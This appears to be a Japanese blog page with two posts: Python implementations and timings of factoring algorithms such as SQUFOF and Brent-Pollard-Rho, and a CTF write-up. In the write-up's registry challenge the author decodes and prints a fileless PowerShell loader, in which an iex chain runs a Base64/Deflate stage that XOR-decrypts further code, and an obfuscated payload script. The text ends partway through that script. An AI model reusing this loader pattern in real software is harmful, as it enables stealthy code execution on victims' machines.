特徴的な素因数分解アルゴリズムを実装してみる

「単純な素因数分解アルゴリズムを実装してみる」 ではPollard-Rhoアルゴリズムなど、「Msieveを使って大きな数を素因数分解してみる」 では複数多項式二次ふるい法(MPQS)などの素因数分解アルゴリズムの実装と評価を行った。 ここでは、上記以外の素因数分解アルゴリズムPythonで実装し、一般的なPCで解くことができるbit数などを調べてみる。

環境

$ uname -a
Linux vm-ubuntu64 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.1 LTS
Release:        22.04
Codename:       jammy

$ grep "processor\|model name" /proc/cpuinfo 
processor   : 0
model name  : Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz
processor   : 1
model name  : Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz
processor   : 2
model name  : Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz
processor   : 3
model name  : Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz

素数の生成

素数とその積については、「単純な素因数分解アルゴリズムを実装してみる」 と同じ値を用いる。

Strassen法

Strassen法 は、合成数nの素因数分解を O(n1/4) で決定的に計算することができるアルゴリズムである。因数は n1/2 以下に一つ以上存在することを利用し、n1/2 未満の区間を n1/4 のサイズで分割し、分割された区間の総乗を順に計算する。合成数区間の総乗の最大公約数(Greatest Common Divisor; GCD)が1以外となれば、それが因数となる。

# strassen_factor.py

import sys
import gmpy2
from math import gcd

def f(k, M, n):
    x = 1
    for i in range(k*M + 1, k*M + M + 1):
        x = (x*i) % n
    return x

# https://programmingpraxis.com/2018/01/27/strassens-factoring-algorithm/
def strassen_factor(n):
    M, is_exact = gmpy2.iroot(n, 4)
    for i in reversed(range(M + 2)):
        a = gcd(f(i, M, n), n)
        if a > 1:
            return a

if __name__ == '__main__':
    n = int(sys.argv[1])
    p = strassen_factor(n)
    if p:
        print('{} = {} * {}'.format(n, p, n//p)) 
    else:
        print('{} is prime'.format(n))

上のコードでは、各区間の総乗の計算は効率化せずに行っている。f(k, M, n) はM個の値が含まれるk番目の区間について、mod nでの総乗を計算する関数である。

次の実行結果の通り、64bitの素因数分解が1分程度で完了している。また、素数を与えることにより最大で20分程度かかることがわかる。

$ time python3 strassen_factor.py 12814570762777948741
12814570762777948741 = 3318288047 * 3861801803

real    1m17.824s
user    1m17.800s
sys     0m0.012s

$ time python3 strassen_factor.py 18366865165381711817
18366865165381711817 is prime

real    20m44.679s
user    20m44.435s
sys     0m0.024s

SQUFOF(Shanks's square forms factorization)アルゴリズム

SQUFOFアルゴリズム は、RSA暗号に対するWiener's Attack でも記載した連分数展開に基づく方法である。適当なkのもとで、漸化式により (k*n)1/2 の連分数展開を偶数回目に平方数が現れるまで行う。さらに、その根を用いて再度連分数展開を行い、収束したときの値が因数となる。

# squfof.py

import sys
import gmpy2
from math import gcd, prod

# https://en.wikipedia.org/wiki/Shanks%27s_square_forms_factorization
def squfof(n):
    if n % 2 == 0:
        return 2
    if gmpy2.is_square(n):
        raise Exception('n is perfect square')

    L = 2*gmpy2.isqrt(2*gmpy2.isqrt(n))
    B = 3*L
    ks = [1, 3, 5, 7, 11, 3*5, 3*7, 3*11, 5*7, 5*11, 7*11, 3*5*7, 3*5*11, 3*7*11, 5*7*11, 3*5*7*11]
    for k in ks:
        Pinit = gmpy2.isqrt(k*n)
        P0 = Pinit
        Q0 = 1
        Q1 = k*n - P0*P0
        for i in range(2, B):
            b = (Pinit + P0)//Q1
            P1 = b*Q1 - P0
            Q2 = Q0 + b*(P0 - P1)
            if i % 2 == 0 and gmpy2.is_square(Q2):
                break
            P0, Q0, Q1 = P1, Q1, Q2
        else:
            continue

        q = gmpy2.isqrt(Q2)
        b0 = (Pinit - P1)//q
        P0 = b0*q + P1
        Q0 = q
        Q1 = (k*n - P0*P0)//Q0
        while True:
            b = (Pinit + P0)//Q1
            P1 = b*Q1 - P0
            Q2 = Q0 + b*(P0 - P1)
            if P0 == P1:
                break
            P0, Q0, Q1 = P1, Q1, Q2

        d = gcd(n, P1)
        if 1 < d < n:
            return d


if __name__ == '__main__':
    n = int(sys.argv[1])
    p = squfof(n)
    if p:
        print('{} = {} * {}'.format(n, p, n//p)) 
    else:
        print('{} is prime'.format(n))

上のコードでは、n自体が平方数の場合は計算を行わずその旨をエラーとして返す。また、kとして {1, 3, 5, 7, 11} のべき集合を用い、前半の連分数展開において一定の回数のうちに平方数が現れなかった場合は、連分数展開を打ち切り次のkによる計算を行う。

次の実行結果の通り、96bitの素因数分解が30秒程度で完了している。

$ time python3 squfof.py 60766145992321225002169406923
60766145992321225002169406923 = 242950340194949 * 250117558771727

real    0m23.864s
user    0m23.850s
sys     0m0.008s

Brent-Polllard-Rhoアルゴリズム

Brent-Polllard-Rhoアルゴリズム は、「単純な素因数分解アルゴリズムを実装してみる」 でも記載した乱択アルゴリズムを改良したものである。以下はMiller-Rabin素数判定法で素数判定を行うPolllard-RhoアルゴリズムPython 3で書いたものである。

# pollard_rho.py

import sys
from random import randint
from math import gcd

def miller_rabin(n, k=20):
    s, d = 0, n-1

    while d % 2 == 0:
        s += 1
        d //= 2

    for i in range(k):
        a = randint(2, n-1)
        x = pow(a, d, n)
        if x == 1:
            continue
        for r in range(s):
            if x == n-1:
                break
            x = (x*x) % n
        else:
            return False

    return True

def pollard_rho(n):
    x, y, d = 2, 2, 1

    while d == 1:
        x = (x*x + 1) % n
        y = (y*y + 1) % n
        y = (y*y + 1) % n
        d = gcd(abs(x-y), n)

    if d != n:
        return d

if __name__ == '__main__':
    n = int(sys.argv[1])
    is_prime = miller_rabin(n)
    if is_prime:
        print('{} is prime'.format(n))
    else:
        p = pollard_rho(n)
        print('{} = {} * {}'.format(n, p, n//p))

Brent-Polllard-Rhoアルゴリズムは、Strassen法と同様に、n1/8 個程度のxとyの差を総乗によりまとめておくことで最大公約数の計算を高速化する。

# brent_pollard_rho.py

import sys
import gmpy2
from random import randint
from math import gcd

def miller_rabin(n, k=20):
    s, d = 0, n-1

    while d % 2 == 0:
        s += 1
        d //= 2

    for i in range(k):
        a = randint(2, n-1)
        x = pow(a, d, n)
        if x == 1:
            continue
        for r in range(s):
            if x == n-1:
                break
            x = (x*x) % n
        else:
            return False

    return True

# https://xn--2-umb.com/09/12/brent-pollard-rho-factorisation/
def brent_pollard_rho(n):
    m, is_exact = gmpy2.iroot(n, 8)
    y, r, q, d = 2, 1, 1, 1
    while d == 1:
        x = y
        for i in range(r):
            y = (y*y + 1) % n
        for k in range(0, r, m):
            ys = y
            for i in range(min(m, r - k)):
                y = (y*y + 1) % n
                q = (q * abs(x - y)) % n
            d = gcd(q, n)
            if d > 1:
                break
        r <<= 1
    if d == n:
        while True:
            ys = (ys*ys + 1) % n
            d = gcd(abs(x - ys), n)
            if d > 1:
                break
    return d

if __name__ == '__main__':
    n = int(sys.argv[1])
    is_prime = miller_rabin(n)
    if is_prime:
        print('{} is prime'.format(n))
    else:
        p = brent_pollard_rho(n)
        print('{} = {} * {}'.format(n, p, n//p))

上のコードでは、総乗がすべての因数を含んでいる場合については再度計算を行っている。

次の実行結果の通り、元のPollard-Rhoアルゴリズムと比較して、128bitの素因数分解が40%程度高速に完了している。

$ time python3 pollard_rho.py 254086645791066783202879995080576801329
254086645791066783202879995080576801329 = 15737972014275192503 * 16144814945699257943

real    142m37.186s
user    142m35.574s
sys     0m0.088s

$ time python3 brent_pollard_rho.py 254086645791066783202879995080576801329
254086645791066783202879995080576801329 = 15737972014275192503 * 16144814945699257943

real    83m28.994s
user    83m27.564s
sys     0m0.020s

関連リンク

Security Tech Lounge Vol.6 春のCTFセンバツ 供養(Writeup)

Security Tech Lounge Vol.6 春のCTFセンバツに参加。12チーム中1位。

packet (100)

pcapngファイルが与えられる。

$ file packet 
packet: pcap-ng capture file - version 1.0

Wiresharkで開くとICMPパケットが並んでおり、パケット長が3種類の異なるバイト数になっていることがわかる。

f:id:inaz2:20190402172540p:plain

ICMPリクエストのパケット長を取り出し、.01 に置き換えてみる。

$ tshark -r packet.pcap -T fields -e frame.len 'icmp.type==8' >packet.txt

$ head packet.txt 
98
98
98
98
98
98
98
98
98
98

$ cat solve.py 
s = ''
with open('packet.txt') as f:
    for line in f:
        if line.startswith('98'):
            s += '.'
        elif line.startswith('99'):
            s += '0'
        elif line.startswith('153'):
            s += '1'
print(s)

$ python3 solve.py 
..........1000110.1001100.1000001.1000111.1011111.1110000.1101001.1101110.1100111.0110010.1100011...............................

2進数で表現されたASCII文字として解釈すると、フラグが得られた。

$ python3
Python 3.6.7 (default, Oct 22 2018, 11:32:17) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ary = '1000110.1001100.1000001.1000111.1011111.1110000.1101001.1101110.1100111.0110010.1100011'.split('.')
>>> ''.join(chr(int(x,2)) for x in ary)
'FLAG_ping2c'

bin (125)

64 bit ELF実行ファイルが与えられる。

$ file ctf 
ctf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, stripped

実行すると、localhostUDP 53(DNS)にsendto(2)でデータを繰り返し送信していることがわかる。

$ chmod +x ctf 

$ strace ./ctf
(snip)
sendto(11, "p\2\1\0\0\1\0\0\0\0\0\1'RFIE4RYNBINAUAAAAAG"..., 78, 0, NULL, 0) = 78
recvfrom(11, 0x42001d7010, 16384, 0, NULL, NULL) = -1 ECONNREFUSED (Connection refused)
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
close(11)                               = 0
futex(0x7fca08000bac, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7fca08000bb0, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7daa88, FUTEX_WAKE_PRIVATE, 1)  = 1
socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) = 11
fcntl(11, F_GETFL)                      = 0x2 (flags O_RDWR)
fcntl(11, F_SETFL, O_RDWR|O_NONBLOCK)   = 0
connect(11, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
sendto(11, "\2244\1\0\0\1\0\0\0\0\0\1%IAYAAAAEE7P7MEAAAAA"..., 76, 0, NULL, 0) = 76
recvfrom(11, 0x42001ce010, 16384, 0, NULL, NULL) = -1 ECONNREFUSED (Connection refused)
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
close(11)                               = 0
futex(0x7fca08000ba8, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7fca08000bb0, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7daa88, FUTEX_WAKE_PRIVATE, 1)  = 1
socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) = 11
fcntl(11, F_GETFL)                      = 0x2 (flags O_RDWR)
fcntl(11, F_SETFL, O_RDWR|O_NONBLOCK)   = 0
connect(11, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
sendto(11, "\235b\1\0\0\1\0\0\0\0\0\1'JCAAAAAAS4CILFZQAAA"..., 78, 0, NULL, 0) = 78
recvfrom(11, 0x42001c5010, 16384, 0, NULL, NULL) = -1 ECONNREFUSED (Connection refused)
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
close(11)                               = 0
(snip)

sendto(2)に絞ってデータを詳しく見ると、*.localhost に対する名前解決を繰り返しているように見える。 そこで、.localhost を除いたドメイン名のみを取り出してみる。

$ strace -e trace=sendto -s1000 ./ctf
Sending data...
sendto(11, {{len=20, type=RTM_GETADDR, flags=NLM_F_REQUEST|NLM_F_DUMP, seq=1554171854, pid=0}, {ifa_family=AF_UNSPEC, ...}}, 20, 0, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 20
sendto(11, "\251\277\1\0\0\1\0\0\0\0\0\1'RFIE4RYNBINAUAAAAAGUSSCEKIAAAAM7AAAACOA\tlocalhost\0\0\20\0\1\0\0)\20\0\0\0\0\0\0\0", 78, 0, NULL, 0) = 78
sendto(11, "\5@\1\0\0\1\0\0\0\0\0\1%IAYAAAAEE7P7MEAAAAACHGQSJKQEAQCAIPQEG\tlocalhost\0\0\20\0\1\0\0)\20\0\0\0\0\0\0\0", 76, 0, NULL, 0) = 76
sendto(11, "w,\1\0\0\1\0\0\0\0\0\1'JCAAAAAAS4CILFZQAAAPKQAAAD2UAFPLT46BAAA\tlocalhost\0\0\20\0\1\0\0)\20\0\0\0\0\0\0\0", 78, 0, NULL, 0) = 78
sendto(11, "\252\352\1\0\0\1\0\0\0\0\0\1%AAGLUIVMHIU3PMZ2HOYLSMUAHO53XFZUW423T\tlocalhost\0\0\20\0\1\0\0)\20\0\0\0\0\0\0\0", 76, 0, NULL, 0) = 76
(snip)

$ strace -e trace=sendto -s1000 ./ctf |& grep -o -P '[\w=]+(?=\\tlocalhost)' | tee ctf.txt
RFIE4RYNBINAUAAAAAGUSSCEKIAAAAM7AAAACOA
IAYAAAAEE7P7MEAAAAACHGQSJKQEAQCAIPQEG
JCAAAAAAS4CILFZQAAAPKQAAAD2UAFPLT46BAAA
AAGLUIVMHIU3PMZ2HOYLSMUAHO53XFZUW423T
(snip)
BDXQAEAFQR7YAAAKYI34AAANMEJ6AAAOWCA7ACA
HLBAPADADVQQHABQB3YIDACYI54ABABMEP6AA
ACWCG7AAADLBCPQAADVQQHYAQB276D5FZLJGUEB
31MPHRQAAAAABEUKTSEVZBGBAQ=

コンテスト中はここまでしかわからず解けなかった。

取り出したデータをよく見ると、英大文字、数字、= のみであることがわかる。 そこで、Base32 としてデコードしてみる。 最後の行のみBase32で使用されない 1 が含まれているため、最後の行を除きパディング文字 = を調整した。 その結果データの先頭にPNGファイルのシグネチャが見えたため、これをPNGファイルとして保存する。

import base64

with open('ctf.txt') as f:
    lines = f.read().splitlines()
    data = ''.join(lines[:-1])

decoded = base64.b32decode(data + '=')
print(decoded)

with open('ctf.png', 'wb') as f:
    f.write(decoded)
$ python3 solve.py 
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01\x9f\x00\x00\x018\x08\x06\x00\x00\x00\x84\xfb\xfe ...(snip)... \x8e\xf0\x01\x00XG\xf8\x00\x00\xac#|\x00\x00\xd6\x11>\x00\x00\xeb\x08\x1f\x00\x80u\xff\x0f\xa5\xca\xd2j\x10'

PNGファイルの末尾が欠けていることになるが、Firefoxブラウザで開くと画像が確認でき、フラグが得られた。

f:id:inaz2:20190403092941p:plain

最後の行の 31\31 を誤って抜き出してしまった模様。

reg (150)

UTF-16LEのテキストファイルが与えられる。

$ file reg 
reg: Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators

内容を確認すると、Base64文字列が入ったレジストリ値二つとPowerShellスクリプトが入ったレジストリ値一つが書かれている。

$ cat reg 
??Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Mandiant\CTF]
"Anchovy"="QhdMGkZMUkxCRE9HT0xPXEIXTklMEVJD ...(snip)... EkMdRRJDHTdAThtMT05ETE9ORkxPRw=="
"Herring"="bVNbi9s8EH2Of8UQDGuTKvShlI+Y72F3 ...(snip)... NnhBrNvRtg3rc+u32LMyPLcVQ/NeAA=="
"Mackerel"="$raw=Get-ItemProperty('hklm:\\Software\\Mandiant\\CTF')|Select-Object -ExpandProperty Herring;sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($raw),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"

Mackerelのコードに従い、HerringのデータをBase64デコードしてDeflate展開すると次のようになる。

$ python3
Python 3.6.7 (default, Oct 22 2018, 11:32:17) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> import zlib
>>> herring = 'bVNbi9s8EH2Of8UQDGuTKvShlI+Y72F3 ...(snip)... NnhBrNvRtg3rc+u32LMyPLcVQ/NeAA=='
>>> zlib.decompress(base64.b64decode(herring), -15)
b'function Invoke-AES {\n\t\tparam($e_str, $method)\n\t\t$enc = new-object -TypeName System.Text.UTF8Encoding\n\t\t$super_long_key = $enc.GetBytes("flog")\n\n\t\tif ($method -eq "decrypt"){\n\t\t\t$e_str = $enc.GetString([System.Convert]::FromBase64String($e_str))\n    }\n\n\t\t$byteString = $enc.GetBytes($e_str)\n\t\t$AESdData = $(for ($i = 0; $i -lt $byteString.length; ) {\n\t\t\tfor ($j = 0; $j -lt $super_long_key.length; $j++) {\n\t\t\t\t$byteString[$i] -bxor $super_long_key[$j]\n\t\t\t\t$i++\n\t\t\t\tif ($i -ge $byteString.Length) {\n\t\t\t\t\t$j = $super_long_key.length\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\n\t\tif ($method -eq "encrypt") {\n\t\t\t$AESdData = [System.Convert]::ToBase64String($AESdData)\n\t\t} else {\n\t\t\t$AESdData = $enc.GetString($AESdData)\n\t\t}\n\n\t\treturn $AESdData\n}\n$RegPath = \'hklm:\\Software\\Mandiant\\CTF\';\n$raw = Get-ItemProperty $RegPath | Select-Object -ExpandProperty Anchovy;\n$raw_obj = Invoke-AES -e_str $raw -method decrypt;\niex $raw_obj;'
>>> print(_.decode('utf-8'))
function Invoke-AES {
        param($e_str, $method)
        $enc = new-object -TypeName System.Text.UTF8Encoding
        $super_long_key = $enc.GetBytes("flog")

        if ($method -eq "decrypt"){
            $e_str = $enc.GetString([System.Convert]::FromBase64String($e_str))
    }

        $byteString = $enc.GetBytes($e_str)
        $AESdData = $(for ($i = 0; $i -lt $byteString.length; ) {
            for ($j = 0; $j -lt $super_long_key.length; $j++) {
                $byteString[$i] -bxor $super_long_key[$j]
                $i++
                if ($i -ge $byteString.Length) {
                    $j = $super_long_key.length
                }
            }
        })

        if ($method -eq "encrypt") {
            $AESdData = [System.Convert]::ToBase64String($AESdData)
        } else {
            $AESdData = $enc.GetString($AESdData)
        }

        return $AESdData
}
$RegPath = 'hklm:\Software\Mandiant\CTF';
$raw = Get-ItemProperty $RegPath | Select-Object -ExpandProperty Anchovy;
$raw_obj = Invoke-AES -e_str $raw -method decrypt;
iex $raw_obj;

PowerShellを使い、Anchovyのデータから作られる $raw_obj の内容を調べてみる。

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\user> function Invoke-AES {
>>         param($e_str, $method)
>>         $enc = new-object -TypeName System.Text.UTF8Encoding
>>         $super_long_key = $enc.GetBytes("flog")
>>
>>         if ($method -eq "decrypt"){
>>             $e_str = $enc.GetString([System.Convert]::FromBase64String($e_str))
>>     }
>>
>>         $byteString = $enc.GetBytes($e_str)
>>         $AESdData = $(for ($i = 0; $i -lt $byteString.length; ) {
>>             for ($j = 0; $j -lt $super_long_key.length; $j++) {
>>                 $byteString[$i] -bxor $super_long_key[$j]
>>                 $i++
>>                 if ($i -ge $byteString.Length) {
>>                     $j = $super_long_key.length
>>                 }
>>             }
>>         })
>>
>>         if ($method -eq "encrypt") {
>>             $AESdData = [System.Convert]::ToBase64String($AESdData)
>>         } else {
>>             $AESdData = $enc.GetString($AESdData)
>>         }
>>
>>         return $AESdData
>> }
>>
PS C:\Users\user> $raw = "QhdMGkZMUkxCRE9HT0xPXEIXTklMEVJD ...(snip)... EkMdRRJDHTdAThtMT05ETE9ORkxPRw=="
PS C:\Users\user> $raw_obj = Invoke-AES -e_str $raw -method decrypt;
PS C:\Users\user> $raw_obj
${#}  =+$(  )  ;${!.*}=${#};${[/)}=  ++  ${#}  ;${).+}=  ++${#}  ;  ${=-$}  =++${#};${)}=++${#}  ;  ${+}=  ++  ${#}  ; ${``}=  ++  ${#};  ${/}  =++${#};${/[(}=  ++  ${#};${+-.}  =  ++${#}  ;  ${;%$}  =  "["  +"$(@{}  )"[  ${/}]+"$(@{})"[  "${[/)}"+"${+-.}"]  +  "$(  @{  }  )"[  "${).+}"  +"${!.*}"]  +"$?  "[  ${[/)}  ]  +  "]"  ;${#}="".("$(  @{}  )  "[ "${[/)}"  +"${)}"]+"$(  @{}  )  "["${[/)}"  +  "${``}"  ]+  "$(@{  }  )  "[${!.*}]+"$(  @{})  "[  ${)}  ]  +  "$?"[${[/)}  ]+  "$(@{  }  )"[  ${=-$}]  );  ${#}  ="$(@{  }  )"["${[/)}"  +"${)}"  ]  +"$(@{  })"[  ${)}]  +"${#}"["${).+}"+"${/}"  ]  ;.  ${#}  (  "  ${#}(${;%$}${``}${+}+  ${;%$}${[/)}${!.*}${!.*}  +  ${;%$}${[/)}${!.*}${!.*}+${;%$}${)}${+}  +${;%$}${/[(}${)}+  ${;%$}${[/)}${).+}${[/)}  +  ${;%$}${[/)}${[/)}${).+}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${=-$}${).+}+  ${;%$}${)}${+}  +${;%$}${``}${+}+${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${[/)}${!.*}${+-.}+${;%$}${+-.}${/[(}+  ${;%$}${[/)}${!.*}${/[(}  +  ${;%$}${[/)}${).+}${[/)}+${;%$}${/}${/[(}  + ${;%$}${+-.}${/}+  ${;%$}${[/)}${!.*}${+-.}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${=-$}${).+}+  ${;%$}${/[(}${=-$}  +  ${;%$}${[/)}${).+}${[/)}  +${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${[/)}${``}  +${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${+-.}+${;%$}${)}${``}+${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${+-.}  +  ${;%$}${[/)}${!.*}${)}+  ${;%$}${[/)}${=-$}+  ${;%$}${[/)}${!.*}+  ${;%$}${=-$}${``}+${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${).+}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${/}  +${;%$}${[/)}${!.*}${/}+${;%$}${=-$}${).+}  +  ${;%$}${``}${[/)}  +  ${;%$}${=-$}${).+}+${;%$}${/}${/[(}  +  ${;%$}${[/)}${!.*}${[/)}+${;%$}${[/)}${[/)}${+-.}+  ${;%$}${)}${+}+  ${;%$}${/}${+-.}  +  ${;%$}${+-.}${/[(}  +${;%$}${[/)}${!.*}${``}+${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}  +${;%$}${[/)}${[/)}${``}+  ${;%$}${=-$}${).+}+  ${;%$}${/[(}${=-$}+${;%$}${[/)}${).+}${[/)}+${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${+-.}+  ${;%$}${)}${``}+${;%$}${/[(}${=-$}  +${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}+  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}+${;%$}${[/)}${!.*}${)}  +${;%$}${)}${``}+  ${;%$}${/[(}${=-$}  +${;%$}${[/)}${).+}${[/)}+  ${;%$}${[/)}${[/)}${!.*}  +  ${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${)}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${+}  +${;%$}${[/)}${!.*}${+}  +${;%$}${[/)}${[/)}${+}+  ${;%$}${)}${``}  +${;%$}${/[(}${=-$}+  ${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}  +${;%$}${[/)}${!.*}${)}  +${;%$}${/[(}${=-$}+${;%$}${[/)}${).+}${[/)}  +  ${;%$}${[/)}${[/)}${!.*}+  ${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${)}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${!.*}${+}+${;%$}${[/)}${).+}${).+}+${;%$}${[/)}${!.*}${[/)}+${;%$}${[/)}${[/)}${)}  +${;%$}${[/)}${=-$}+  ${;%$}${[/)}${!.*}+${;%$}${=-$}${``}  +${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${).+}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${/}  +${;%$}${[/)}${!.*}${/}  +${;%$}${)}${``}+  ${;%$}${/[(}${=-$}+  ${;%$}${[/)}${[/)}${).+}+${;%$}${[/)}${!.*}${[/)}+  ${;%$}${+-.}${/}+  ${;%$}${[/)}${!.*}${/}  +  ${;%$}${)}${!.*}+${;%$}${=-$}${)}+  ${;%$}${/}${``}+  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${[/)}${``}  +${;%$}${[/)}${!.*}${[/)}+  ${;%$}${[/)}${[/)}${!.*}  +  ${;%$}${=-$}${=-$}+  ${;%$}${=-$}${).+}+${;%$}${/}${``}  +  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${``}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${!.*}  +${;%$}${=-$}${=-$}+${;%$}${=-$}${).+}  +  ${;%$}${/}${!.*}+  ${;%$}${/}${``}  +${;%$}${``}${+}+  ${;%$}${/}${[/)}+  ${;%$}${=-$}${).+}  +  ${;%$}${[/)}${!.*}${+}+  ${;%$}${[/)}${[/)}${+}+  ${;%$}${=-$}${).+}  +  ${;%$}${/}${!.*}  +${;%$}${/}${``}+  ${;%$}${``}${+}  +${;%$}${/}${[/)}+  ${;%$}${+-.}${+}+  ${;%$}${+-.}${/}+  ${;%$}${[/)}${[/)}${!.*}+${;%$}${[/)}${!.*}${=-$}+  ${;%$}${[/)}${!.*}${/[(}+${;%$}${[/)}${!.*}${[/)}  +${;%$}${[/)}${[/)}${)}+${;%$}${[/)}${!.*}${).+}  +  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${!.*}${)}  +${;%$}${=-$}${)}  +${;%$}${=-$}${).+}  +  ${;%$}${)}${[/)}  )"  )

. ${#}スクリプトを実行する iex であると仮定し、これを取り除いたコードを実行してみる。

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\user> ${#}  =+$(  )  ;${!.*}=${#};${[/)}=  ++  ${#}  ;${).+}=  ++${#}  ;  ${=-$}  =++${#};${)}=++${#}  ;  ${+}=  ++  ${#}  ; ${``}=  ++  ${#};  ${/}  =++${#};${/[(}=  ++  ${#};${+-.}  =  ++${#}  ;  ${;%$}  =  "["  +"$(@{}  )"[${/}]+"$(@{})"[  "${[/)}"+"${+-.}"]  +  "$(  @{  }  )"[  "${).+}"  +"${!.*}"]  +"$?  "[  ${[/)}  ]  +  "]"  ;${#}="".("$(  @{}  )  "[ "${[/)}"  +"${)}"]+"$(  @{}  )  "["${[/)}"  +  "${``}"  ]+  "$(@{  }  )  "[${!.*}]+"$(  @{})  "[  ${)}  ] +  "$?"[${[/)}  ]+  "$(@{  }  )"[  ${=-$}]  );  ${#}  ="$(@{  }  )"["${[/)}"  +"${)}"  ]  +"$(@{  })"[  ${)}]  +"${#}"["${).+}"+"${/}"  ]  ;  (  "  ${#}(${;%$}${``}${+}+  ${;%$}${[/)}${!.*}${!.*}  +  ${;%$}${[/)}${!.*}${!.*}+${;%$}${)}${+}  +${;%$}${/[(}${)}+  ${;%$}${[/)}${).+}${[/)}  +  ${;%$}${[/)}${[/)}${).+}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${=-$}${).+}+  ${;%$}${)}${+}  +${;%$}${``}${+}+${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${[/)}${!.*}${+-.}+${;%$}${+-.}${/[(}+  ${;%$}${[/)}${!.*}${/[(}  +  ${;%$}${[/)}${).+}${[/)}+${;%$}${/}${/[(}  +${;%$}${+-.}${/}+  ${;%$}${[/)}${!.*}${+-.}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${=-$}${).+}+  ${;%$}${/[(}${=-$}  +  ${;%$}${[/)}${).+}${[/)}  +${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${[/)}${``}  +${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${+-.}+${;%$}${)}${``}+${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${+-.}  +  ${;%$}${[/)}${!.*}${)}+  ${;%$}${[/)}${=-$}+  ${;%$}${[/)}${!.*}+  ${;%$}${=-$}${``}+${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${).+}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${/}  +${;%$}${[/)}${!.*}${/}+${;%$}${=-$}${).+}  +  ${;%$}${``}${[/)}  +  ${;%$}${=-$}${).+}+${;%$}${/}${/[(}  +  ${;%$}${[/)}${!.*}${[/)}+${;%$}${[/)}${[/)}${+-.}+  ${;%$}${)}${+}+  ${;%$}${/}${+-.}  +  ${;%$}${+-.}${/[(}  